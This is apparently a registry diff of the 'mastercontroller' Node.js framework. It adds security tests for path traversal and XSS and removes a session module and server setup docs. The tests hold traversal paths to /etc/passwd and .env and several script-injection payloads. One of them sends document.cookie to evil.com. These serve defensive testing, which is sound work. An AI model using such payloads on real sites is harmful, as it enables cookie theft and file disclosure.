mastercontroller 1.3.1 → 1.3.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,222 @@
1
+ // Path Traversal Protection Tests
2
+ const master = require('../../MasterControl');
3
+ require('../../MasterAction');
4
+ require('../../MasterHtml');
5
+
6
+ describe('Path Traversal Protection', () => {
7
+
8
+ describe('MasterAction - returnPartialView()', () => {
9
+ class MockController {
10
+ constructor() {
11
+ Object.assign(this, master.controllerExtensions);
12
+ this.__requestObject = {
13
+ response: {
14
+ _headerSent: false,
15
+ headersSent: false,
16
+ writeHead: jest.fn(),
17
+ end: jest.fn()
18
+ }
19
+ };
20
+ }
21
+
22
+ returnError(code, message) {
23
+ this.__requestObject.response.writeHead(code, { 'Content-Type': 'application/json' });
24
+ this.__requestObject.response.end(JSON.stringify({ error: message }));
25
+ }
26
+ }
27
+
28
+ test('should reject ../ path traversal', () => {
29
+ const controller = new MockController();
30
+ const result = controller.returnPartialView('../../etc/passwd', {});
31
+
32
+ expect(controller.__requestObject.response.writeHead).toHaveBeenCalledWith(400, expect.any(Object));
33
+ expect(result).toBe('');
34
+ });
35
+
36
+ test('should reject absolute paths', () => {
37
+ const controller = new MockController();
38
+ const result = controller.returnPartialView('/etc/passwd', {});
39
+
40
+ expect(controller.__requestObject.response.writeHead).toHaveBeenCalledWith(400, expect.any(Object));
41
+ expect(result).toBe('');
42
+ });
43
+
44
+ test('should reject ~ home directory paths', () => {
45
+ const controller = new MockController();
46
+ const result = controller.returnPartialView('~/../../etc/passwd', {});
47
+
48
+ expect(controller.__requestObject.response.writeHead).toHaveBeenCalledWith(400, expect.any(Object));
49
+ expect(result).toBe('');
50
+ });
51
+
52
+ test('should allow safe relative paths', () => {
53
+ const controller = new MockController();
54
+ master.root = __dirname;
55
+
56
+ // This should not throw (though file may not exist)
57
+ try {
58
+ controller.returnPartialView('views/safe/partial.html', {});
59
+ } catch (e) {
60
+ // File not found is OK, as long as validation passed
61
+ }
62
+
63
+ // Should not have called returnError with 400 or 403
64
+ const calls = controller.__requestObject.response.writeHead.mock.calls;
65
+ const hasSecurityError = calls.some(call => [400, 403].includes(call[0]));
66
+ expect(hasSecurityError).toBe(false);
67
+ });
68
+ });
69
+
70
+ describe('MasterAction - returnViewWithoutEngine()', () => {
71
+ class MockController {
72
+ constructor() {
73
+ Object.assign(this, master.controllerExtensions);
74
+ this.__requestObject = {
75
+ response: {
76
+ _headerSent: false,
77
+ headersSent: false,
78
+ writeHead: jest.fn(),
79
+ end: jest.fn()
80
+ }
81
+ };
82
+ }
83
+
84
+ returnError(code, message) {
85
+ this.__requestObject.response.writeHead(code, { 'Content-Type': 'application/json' });
86
+ this.__requestObject.response.end(JSON.stringify({ error: message }));
87
+ }
88
+ }
89
+
90
+ test('should reject ../ path traversal', () => {
91
+ const controller = new MockController();
92
+ controller.returnViewWithoutEngine('../../../etc/passwd');
93
+
94
+ expect(controller.__requestObject.response.writeHead).toHaveBeenCalledWith(400, expect.any(Object));
95
+ });
96
+
97
+ test('should reject absolute paths', () => {
98
+ const controller = new MockController();
99
+ controller.returnViewWithoutEngine('/etc/passwd');
100
+
101
+ expect(controller.__requestObject.response.writeHead).toHaveBeenCalledWith(400, expect.any(Object));
102
+ });
103
+ });
104
+
105
+ describe('MasterHtml - renderPartial()', () => {
106
+ let html;
107
+
108
+ beforeEach(() => {
109
+ html = master.viewList.html;
110
+ master.router.currentRoute = {
111
+ root: __dirname
112
+ };
113
+ });
114
+
115
+ test('should reject ../ path traversal', () => {
116
+ const result = html.renderPartial('../../etc/passwd', {});
117
+ expect(result).toBe('<!-- Invalid path -->');
118
+ });
119
+
120
+ test('should reject absolute paths', () => {
121
+ const result = html.renderPartial('/etc/passwd', {});
122
+ expect(result).toBe('<!-- Invalid path -->');
123
+ });
124
+
125
+ test('should reject ~ home directory', () => {
126
+ const result = html.renderPartial('~/config', {});
127
+ expect(result).toBe('<!-- Invalid path -->');
128
+ });
129
+
130
+ test('should allow safe relative paths', () => {
131
+ // Safe path should not return error
132
+ try {
133
+ const result = html.renderPartial('partials/safe.html', {});
134
+ // May return "not found" comment, but not "invalid path"
135
+ expect(result).not.toBe('<!-- Invalid path -->');
136
+ } catch (e) {
137
+ // File not found is OK
138
+ }
139
+ });
140
+ });
141
+
142
+ describe('MasterHtml - renderStyles()', () => {
143
+ let html;
144
+
145
+ beforeEach(() => {
146
+ html = master.viewList.html;
147
+ master.router.currentRoute = {
148
+ root: __dirname,
149
+ isComponent: false
150
+ };
151
+ });
152
+
153
+ test('should reject ../ in folder name', () => {
154
+ const result = html.renderStyles('../../../etc', ['css']);
155
+ expect(result).toBe('');
156
+ });
157
+
158
+ test('should reject absolute paths in folder name', () => {
159
+ const result = html.renderStyles('/etc/passwd', ['css']);
160
+ expect(result).toBe('');
161
+ });
162
+
163
+ test('should allow safe folder names', () => {
164
+ const result = html.renderStyles('pages', ['css']);
165
+ // Should return empty string if no files, but not fail validation
166
+ expect(typeof result).toBe('string');
167
+ });
168
+ });
169
+
170
+ describe('MasterHtml - renderScripts()', () => {
171
+ let html;
172
+
173
+ beforeEach(() => {
174
+ html = master.viewList.html;
175
+ master.router.currentRoute = {
176
+ root: __dirname,
177
+ isComponent: false
178
+ };
179
+ });
180
+
181
+ test('should reject ../ in folder name', () => {
182
+ const result = html.renderScripts('../../config', ['js']);
183
+ expect(result).toBe('');
184
+ });
185
+
186
+ test('should reject absolute paths', () => {
187
+ const result = html.renderScripts('/etc', ['js']);
188
+ expect(result).toBe('');
189
+ });
190
+
191
+ test('should allow safe folder names', () => {
192
+ const result = html.renderScripts('components', ['js']);
193
+ expect(typeof result).toBe('string');
194
+ });
195
+ });
196
+
197
+ describe('Real-World Attack Scenarios', () => {
198
+ test('should prevent reading /etc/passwd', () => {
199
+ const html = master.viewList.html;
200
+ master.router.currentRoute = { root: '/var/www/app' };
201
+
202
+ const result = html.renderPartial('../../../../../../../etc/passwd', {});
203
+ expect(result).toBe('<!-- Invalid path -->');
204
+ });
205
+
206
+ test('should prevent reading application config', () => {
207
+ const html = master.viewList.html;
208
+ master.router.currentRoute = { root: '/var/www/app' };
209
+
210
+ const result = html.renderPartial('../../config/database.yml', {});
211
+ expect(result).toBe('<!-- Invalid path -->');
212
+ });
213
+
214
+ test('should prevent reading .env files', () => {
215
+ const html = master.viewList.html;
216
+ master.router.currentRoute = { root: '/var/www/app' };
217
+
218
+ const result = html.renderPartial('../../.env', {});
219
+ expect(result).toBe('<!-- Invalid path -->');
220
+ });
221
+ });
222
+ });
@@ -0,0 +1,190 @@
1
+ // XSS Protection Tests for MasterHtml.js
2
+ const master = require('../../MasterControl');
3
+ require('../../MasterHtml');
4
+
5
+ describe('XSS Protection in Form Helpers', () => {
6
+ let html;
7
+
8
+ beforeEach(() => {
9
+ // Create html instance (it's extended to master.viewList)
10
+ html = master.viewList.html;
11
+ });
12
+
13
+ describe('linkTo()', () => {
14
+ test('should escape malicious script in name', () => {
15
+ const result = html.linkTo('<script>alert("XSS")</script>', '/safe');
16
+ expect(result).not.toContain('<script>');
17
+ expect(result).toContain('&lt;script&gt;');
18
+ });
19
+
20
+ test('should escape malicious javascript in href', () => {
21
+ const result = html.linkTo('Click', 'javascript:alert("XSS")');
22
+ expect(result).toContain('href="javascript');
23
+ expect(result).not.toContain('href=javascript'); // Should be quoted
24
+ });
25
+
26
+ test('should escape quote injection', () => {
27
+ const result = html.linkTo('Click', '" onmouseover="alert(\'XSS\')"');
28
+ expect(result).toContain('&quot;');
29
+ expect(result).not.toContain('onmouseover=');
30
+ });
31
+ });
32
+
33
+ describe('imgTag()', () => {
34
+ test('should escape XSS in alt attribute', () => {
35
+ const result = html.imgTag('<script>alert("XSS")</script>', '/image.jpg');
36
+ expect(result).not.toContain('<script>');
37
+ expect(result).toContain('&lt;script&gt;');
38
+ });
39
+
40
+ test('should escape onerror handler', () => {
41
+ const result = html.imgTag('test', '/image.jpg onerror=alert(1)');
42
+ expect(result).toContain('&quot;');
43
+ expect(result).toMatch(/src=".*onerror.*"/); // Should be quoted
44
+ });
45
+
46
+ test('should have proper attribute quoting', () => {
47
+ const result = html.imgTag('test', '/image.jpg');
48
+ expect(result).toMatch(/src="[^"]+"/);
49
+ expect(result).toMatch(/alt="[^"]+"/);
50
+ });
51
+ });
52
+
53
+ describe('textFieldTag()', () => {
54
+ test('should escape malicious name', () => {
55
+ const result = html.textFieldTag('<script>alert(1)</script>', {});
56
+ expect(result).not.toContain('<script>');
57
+ expect(result).toContain('&lt;script&gt;');
58
+ });
59
+
60
+ test('should escape malicious attributes', () => {
61
+ const result = html.textFieldTag('username', {
62
+ value: '"><script>alert(1)</script><input type="hidden'
63
+ });
64
+ expect(result).not.toContain('<script>');
65
+ expect(result).toContain('&quot;&gt;&lt;script&gt;');
66
+ });
67
+
68
+ test('should properly quote all attributes', () => {
69
+ const result = html.textFieldTag('test', { value: 'normal', class: 'form-control' });
70
+ expect(result).toMatch(/name="[^"]+"/);
71
+ expect(result).toMatch(/value="[^"]+"/);
72
+ expect(result).toMatch(/class="[^"]+"/);
73
+ });
74
+ });
75
+
76
+ describe('hiddenFieldTag()', () => {
77
+ test('should escape malicious value', () => {
78
+ const result = html.hiddenFieldTag('test', '" onclick="alert(\'XSS\')"', {});
79
+ expect(result).not.toContain('onclick=');
80
+ expect(result).toContain('&quot;');
81
+ });
82
+
83
+ test('should escape additional attributes', () => {
84
+ const result = html.hiddenFieldTag('id', '123', {
85
+ 'data-foo': '"><script>alert(1)</script>'
86
+ });
87
+ expect(result).not.toContain('<script>');
88
+ });
89
+ });
90
+
91
+ describe('textAreaTag()', () => {
92
+ test('should escape message content', () => {
93
+ const result = html.textAreaTag('comment', '<script>alert("XSS")</script>', {});
94
+ expect(result).not.toContain('<script>');
95
+ expect(result).toContain('&lt;script&gt;');
96
+ });
97
+
98
+ test('should escape attributes', () => {
99
+ const result = html.textAreaTag('comment', 'safe', {
100
+ placeholder: '"><script>alert(1)</script>'
101
+ });
102
+ expect(result).not.toContain('<script>');
103
+ });
104
+ });
105
+
106
+ describe('submitButton()', () => {
107
+ test('should escape button name', () => {
108
+ const result = html.submitButton('<script>alert(1)</script>', {});
109
+ expect(result).not.toContain('<script>');
110
+ expect(result).toContain('&lt;script&gt;');
111
+ });
112
+
113
+ test('should escape attributes', () => {
114
+ const result = html.submitButton('Submit', {
115
+ onclick: 'alert(1)'
116
+ });
117
+ expect(result).toContain('onclick="alert(1)"'); // Escaped and quoted
118
+ });
119
+ });
120
+
121
+ describe('emailField()', () => {
122
+ test('should escape malicious attributes', () => {
123
+ const result = html.emailField('email', {
124
+ value: '"><script>alert(1)</script>'
125
+ });
126
+ expect(result).not.toContain('<script>');
127
+ });
128
+ });
129
+
130
+ describe('numberField()', () => {
131
+ test('should escape min/max/step values', () => {
132
+ const result = html.numberField('age', '"><script>alert(1)</script>', '100', '1', {});
133
+ expect(result).not.toContain('<script>');
134
+ expect(result).toContain('&quot;&gt;&lt;script&gt;');
135
+ });
136
+ });
137
+
138
+ describe('javaScriptSerializer()', () => {
139
+ test('should escape closing script tags', () => {
140
+ const data = { comment: '</script><script>alert("XSS")</script>' };
141
+ const result = html.javaScriptSerializer('userData', data);
142
+
143
+ // Should not contain unescaped </script>
144
+ expect(result).not.toMatch(/<\/script><script>/);
145
+ // Should contain escaped version
146
+ expect(result).toContain('\\u003c/script\\u003e');
147
+ });
148
+
149
+ test('should escape < and > characters', () => {
150
+ const data = { html: '<div>test</div>' };
151
+ const result = html.javaScriptSerializer('config', data);
152
+
153
+ expect(result).toContain('\\u003c');
154
+ expect(result).toContain('\\u003e');
155
+ });
156
+
157
+ test('should escape variable name', () => {
158
+ const result = html.javaScriptSerializer('<script>alert(1)</script>', { test: 'data' });
159
+ expect(result).toContain('&lt;script&gt;');
160
+ });
161
+ });
162
+
163
+ describe('Real-World Attack Scenarios', () => {
164
+ test('should prevent stored XSS attack', () => {
165
+ // Simulate stored XSS from database
166
+ const userComment = '<img src=x onerror=alert(document.cookie)>';
167
+ const result = html.textAreaTag('comment', userComment, {});
168
+
169
+ expect(result).not.toContain('onerror=');
170
+ expect(result).toContain('&lt;img');
171
+ });
172
+
173
+ test('should prevent reflected XSS attack', () => {
174
+ // Simulate reflected XSS from URL parameter
175
+ const searchQuery = '"><script>fetch("http://evil.com?c="+document.cookie)</script>';
176
+ const result = html.textFieldTag('search', { value: searchQuery });
177
+
178
+ expect(result).not.toContain('<script>');
179
+ expect(result).not.toContain('fetch(');
180
+ });
181
+
182
+ test('should prevent DOM-based XSS', () => {
183
+ const maliciousUrl = 'javascript:eval(atob("YWxlcnQoMSk="))';
184
+ const result = html.linkTo('Click', maliciousUrl);
185
+
186
+ // Should be quoted and escaped
187
+ expect(result).toMatch(/href="[^"]*"/);
188
+ });
189
+ });
190
+ });
package/MasterSession.js DELETED
@@ -1,208 +0,0 @@
1
-
2
- // version 0.0.22
3
-
4
- var master = require('./MasterControl');
5
- var cookie = require('cookie');
6
- var toolClass = require('./MasterTools');
7
- var crypto = require('crypto');
8
- var tools = new toolClass();
9
-
10
- class MasterSession{
11
-
12
- sessions = {};
13
- options = {
14
- domain: undefined,
15
- encode : undefined,
16
- maxAge: 900000,
17
- expires : undefined ,
18
- secure:false,
19
- httpOnly:true,
20
- sameSite : true,
21
- path : '/',
22
- secret : this.createSessionID()
23
- };
24
-
25
- init(options){
26
- var $that = this;
27
-
28
- // Combine the rest of the options carefully
29
- this.options = {
30
- ...this.options,
31
- ...options
32
- };
33
-
34
- if(this.options.TID){
35
- this.options.secret = TID;
36
- }
37
-
38
- // Auto-register with pipeline if available
39
- if (master.pipeline) {
40
- master.pipeline.use(this.middleware());
41
- }
42
-
43
- return {
44
- setPath : function(path){
45
- $that.options.path = path === undefined ? '/' : path;
46
- return this;
47
- },
48
- sameSiteTrue : function(){
49
- $that.options.sameSite = true;
50
- return this;
51
- },
52
- sameSiteFalse : function(){
53
- $that.options.sameSite = false;
54
- return this;
55
- },
56
- httpOnlyTrue : function(){
57
- $that.options.httpOnly = true;
58
- return this;
59
- },
60
- httpOnlyFalse : function(){
61
- $that.options.httpOnly = false;
62
- return this;
63
- },
64
- secureTrue : function(){
65
- $that.options.secure = true;
66
- return this;
67
- },
68
- securefalse : function(){
69
- $that.options.secure = false;
70
- return this;
71
- },
72
- expires : function(exp){
73
- $that.options.expires = exp === undefined ? undefined : exp;
74
- return this;
75
- },
76
- maxAge : function(num){
77
- $that.options.maxAge = num === undefined ? 0 : num;
78
- return this;
79
- },
80
- encode: function(func){
81
- $that.options.encode = func;
82
- return this;
83
- },
84
- domain : function(dom){
85
- $that.options.domain = dom;
86
- return this;
87
- }
88
- };
89
- }
90
-
91
- createSessionID(){
92
- return crypto.randomBytes(20).toString('hex');
93
- }
94
-
95
- getSessionID(){
96
- return this.secret;
97
- }
98
-
99
- setCookie(name, payload, response, options){
100
- var cookieOpt = options === undefined? this.options : options;
101
- if(typeof options === "object"){
102
- if(options.secret){
103
- response.setHeader('Set-Cookie', cookie.serialize(name, tools.encrypt(payload, cookieOpt.secret), cookieOpt));
104
- }else{
105
-
106
- response.setHeader('Set-Cookie', cookie.serialize(name, payload, cookieOpt));
107
-
108
- }
109
-
110
- }
111
- else{
112
- response.setHeader('Set-Cookie', cookie.serialize(name, payload, cookieOpt));
113
- }
114
- }
115
-
116
- getCookie (name, request, secret){
117
- var cooks = cookie.parse(request.headers.cookie || '');
118
-
119
- if(cooks){
120
- if(cooks[name] === undefined){
121
- return -1;
122
- }
123
- if(secret === undefined){
124
- if(cooks[name]){
125
- return cooks[name];
126
- }
127
- else{
128
- return -1;
129
- }
130
- //return cooks[name]? -1 : cooks[name];
131
- }
132
- else{
133
- return tools.decrypt(cooks[name], secret);
134
- }
135
- }
136
- else{
137
- return -1;
138
- }
139
- }
140
-
141
- deleteCookie (name, response, options){
142
- var cookieOpt = options === undefined? this.options : options;
143
- response.setHeader('Set-Cookie', cookie.serialize(name, "", cookieOpt));
144
- cookieOpt.expires = undefined;
145
- }
146
-
147
- // delete session and cookie
148
- delete(name, response){
149
- var sessionID = sessions[name];
150
- this.options.expires = new Date(0);
151
- response.setHeader('Set-Cookie', cookie.serialize(sessionID, "", this.options));
152
- delete this.sessions[name];
153
- this.options.expires = undefined;
154
- }
155
-
156
- // resets all sessions
157
- reset(){
158
- this.sessions = {};
159
- }
160
-
161
- // sets session with random id to get cookie
162
- set(name, payload, response, secret, options){
163
- var cookieOpt = options === undefined? this.options : options;
164
- var sessionID = this.createSessionID();
165
- this.sessions[name] = sessionID;
166
- if(secret === undefined){
167
- response.setHeader('Set-Cookie', cookie.serialize(sessionID, JSON.stringify(payload), cookieOpt));
168
- }
169
- else{
170
- response.setHeader('Set-Cookie', cookie.serialize(sessionID, tools.encrypt(payload, secret), cookieOpt));
171
- }
172
- }
173
-
174
- // gets session then gets cookie
175
- get(name, request, secret){
176
- var sessionID = this.sessions[name];
177
- if(sessionID){
178
- var cooks = cookie.parse(request.headers.cookie || '');
179
- if(cooks){
180
- if(secret === undefined){
181
- return cooks[sessionID];
182
- }
183
- else{
184
- return tools.decrypt(cooks[sessionID], secret);
185
- }
186
- }
187
- }
188
- else{
189
- return -1;
190
- }
191
- }
192
-
193
- /**
194
- * Get session middleware for the pipeline
195
- * Sessions are accessed lazily via master.sessions in controllers
196
- */
197
- middleware() {
198
- var $that = this;
199
-
200
- return async (ctx, next) => {
201
- // Sessions are available via master.sessions.get/set in controllers
202
- // No action needed here - just continue pipeline
203
- await next();
204
- };
205
- }
206
- }
207
-
208
- master.extend("sessions", MasterSession);
@@ -1,24 +0,0 @@
1
- ## Server setup: Hostname binding
2
-
3
- Bind the listener to a specific interface using `hostname` (or `host`/`http`).
4
-
5
- ### server.js
6
- ```js
7
- const master = require('./MasterControl');
8
-
9
- master.root = __dirname;
10
- master.environmentType = process.env.NODE_ENV || 'development';
11
-
12
- const server = master.setupServer('http');
13
- master.start(server);
14
-
15
- // Bind to localhost only
16
- master.serverSettings({ httpPort: 3000, hostname: '127.0.0.1', requestTimeout: 60000 });
17
-
18
- master.startMVC('app');
19
- ```
20
-
21
- ### Notes
22
- - Use `0.0.0.0` to accept connections on all interfaces.
23
- - In production with a reverse proxy, bind to `127.0.0.1` so only the proxy can reach the app.
24
-
@@ -1,32 +0,0 @@
1
- ## Server setup: HTTP
2
-
3
- This example starts a plain HTTP server. Useful for local development, or when you run behind a reverse proxy that terminates TLS.
4
-
5
- ### server.js (HTTP)
6
- ```js
7
- const master = require('./MasterControl');
8
-
9
- // Point master to your project root and environment
10
- master.root = __dirname;
11
- master.environmentType = process.env.NODE_ENV || 'development';
12
-
13
- // Create HTTP server and bind it
14
- const server = master.setupServer('http');
15
- master.start(server);
16
-
17
- // Use either explicit settings or your environment JSON
18
- // Option A: explicit
19
- // master.serverSettings({ httpPort: 3000, hostname: '127.0.0.1', requestTimeout: 60000 });
20
-
21
- // Option B: from env config at config/environments/env.<env>.json
22
- master.serverSettings(master.env.server);
23
-
24
- // Load your routes and controllers
25
- // If your routes are under <root>/app/**/routes.js
26
- master.startMVC('app');
27
- ```
28
-
29
- ### Notes
30
- - `master.serverSettings` now honors `hostname` (or `host`/`http`) if provided; otherwise it listens on all interfaces.
31
- - For production, prefer running behind a reverse proxy and keep the app on a high port (e.g., 3000).
32
-